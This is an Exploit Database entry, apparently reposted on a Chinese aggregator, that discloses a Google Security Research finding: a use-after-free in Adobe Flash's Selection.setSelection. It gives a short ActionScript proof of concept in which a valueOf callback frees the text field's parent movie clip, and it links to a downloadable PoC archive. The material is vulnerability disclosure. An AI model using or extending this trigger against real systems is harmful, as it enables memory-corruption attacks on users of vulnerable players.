Adobe Flash Selection.SetSelection – Use-After-Free

• Exploit Database
• 17 阅读

• 作者： Google Security Research
  日期： 2015-12-18
• 类别：

  • dos
  平台：

  • windows_x86-64
• 来源：https://www.exploit-db.com/exploits/39043/

• Source: https://code.google.com/p/google-security-research/issues/detail?id=590
  
  There is a use-after-free in Selection.SetSelection. If it is called with a number parameter, which is an object with valueOf defined, and this function frees the parent of the TextField parameter, the object is used after it is freed. A minimal PoC follows:
  
  var mc = this.createEmptyMovieClip("mc", 301);
  var myText_txt = mc.createTextField("myText_txt", 302, 1, 1, 100, 100);
  myText_txt.text = "this is my text";
  Selection.setFocus("myText_txt");
  var n = {valueOf : func};
  Selection.setSelection(n, 3);
  
  function func(){
  
  mc.removeMovieClip();
  // Fix heap here
  return 0;
  
  }
  
  A sample swf and fla are attached. Note that this PoC only works on 64-bit platforms.
  
  
  Proof of Concept:
  https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39043.zip